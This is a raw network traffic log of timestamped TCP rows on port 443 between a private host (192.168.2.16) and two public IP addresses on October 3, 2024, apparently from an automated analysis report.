Oct 3, 2024 18:19:53.432257891 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432277918 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432305098 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432324886 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432404041 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432481050 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432483912 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432528973 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432538033 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432542086 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.432574987 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432598114 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432723999 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:53.432751894 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:53.768362045 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.768640995 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.768702984 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.769309998 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.769608974 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.769696951 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:53.769761086 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:53.811501980 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.110914946 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111048937 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111141920 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111222982 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.111241102 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111268997 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111416101 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.111444950 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111531019 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111609936 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111609936 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.111639977 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111665010 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.111767054 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111814022 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.111821890 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111913919 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.111958981 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.111965895 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116476059 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116549015 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.116554976 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116657019 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116745949 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116760969 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116791010 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.116822004 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116868973 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.116878033 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.116981983 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.117032051 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.117038965 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.117377043 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.117424965 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.117432117 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.117530107 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.117577076 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.117583990 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.117888927 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.117950916 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.118240118 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.118285894 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.118294001 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.118401051 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.118446112 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.118453026 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.118953943 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.119173050 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.119213104 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.119220018 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.119328022 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.119374037 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.119380951 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.119508982 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.119556904 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.119564056 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.121068001 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.121119022 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.121124983 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.121328115 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.121373892 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.121381044 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.121531963 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.121577978 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.121583939 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.122648954 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.122706890 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.122714043 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.123270988 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.123327017 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.123332977 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.123372078 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.124053955 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.124114990 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.124397039 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.124449968 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.124491930 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.124509096 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.125108004 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.125168085 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.125403881 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.125453949 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.125504017 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.125550985 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.125559092 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.125654936 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.125700951 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.126703024 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.126774073 CEST	49855	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.126786947 CEST	443	49855	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.167455912 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.271852970 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.272011995 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.272078037 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.273235083 CEST	49856	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.273262978 CEST	443	49856	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.276983023 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.277051926 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.277112007 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.277376890 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.277405024 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.278609037 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.278656960 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.278728962 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.278930902 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.278954029 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.771945000 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.772391081 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.772453070 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.773817062 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.774149895 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.774275064 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.774302959 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.774578094 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.775728941 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.775922060 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.775981903 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.777445078 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.777724028 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.777811050 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.777919054 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.786889076 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.786972046 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.787081003 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.787296057 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.787333012 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.827044964 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.827131987 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.924820900 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.924982071 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.925045013 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.925863981 CEST	49858	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:54.925900936 CEST	443	49858	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:54.927261114 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927440882 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927536011 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927622080 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.927632093 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927691936 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927735090 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.927792072 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927845955 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.927862883 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.927959919 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.928020000 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.928033113 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.928124905 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.928177118 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.928189039 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:54.970056057 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:54.970115900 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.018057108 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.027487993 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.027682066 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.027769089 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.027776957 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.027831078 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.027899981 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.027915955 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028129101 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028178930 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028182030 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.028193951 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028244972 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.028264046 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028903961 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028947115 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.028960943 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.028973103 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029026031 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029026031 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.029038906 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029093981 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.029716015 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029808998 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029849052 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029855013 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.029881001 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.029936075 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.030644894 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.030709982 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.030766964 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.030787945 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.031004906 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.031056881 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.031069994 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.082151890 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.082211971 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124438047 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124540091 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124648094 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.124655962 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124721050 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124763966 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.124835014 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124938011 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.124962091 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125030994 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.125030994 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.125056028 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125076056 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125102997 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125108004 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.125134945 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.125277996 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125380993 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125498056 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.125499010 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.125564098 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.125616074 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.126307964 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.126396894 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.126425982 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.126497030 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.127017975 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.127106905 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.127149105 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.127219915 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.127243996 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.127315998 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.127820015 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.127899885 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.127938986 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.128026009 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.128772020 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.128839970 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.128945112 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.129015923 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.211261988 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211464882 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211477995 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.211545944 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211585045 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211587906 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.211611986 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.211625099 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211657047 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.211694956 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211796999 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211901903 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.211934090 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.211935043 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212002039 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212039948 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212049007 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212074995 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212091923 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212117910 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212173939 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212272882 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212377071 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212403059 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212403059 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212467909 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212511063 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212527990 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212527990 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.212549925 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.212579012 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.213517904 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.213649035 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.213705063 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.213723898 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.213747978 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.213753939 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.213864088 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.213923931 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.213936090 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.213965893 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.214047909 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.214107990 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.214121103 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.214148045 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.214174986 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.214188099 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.214220047 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.214241028 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.214306116 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.214318037 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.214371920 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215220928 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215306997 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215348005 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215423107 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215473890 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215538025 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215579033 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215636969 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215675116 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215734959 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215795994 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215857983 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215898037 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.215960026 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.215991974 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.216061115 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.291896105 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.292192936 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.292252064 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.293732882 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.294213057 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.294390917 CEST	49860	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.294404984 CEST	443	49860	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.298644066 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.298703909 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.298748970 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.298815012 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.298851967 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.298871040 CEST	443	49859	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:55.298877001 CEST	49859	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:55.298899889 CEST	443	49859	172.67.185.164	192.168.2.16
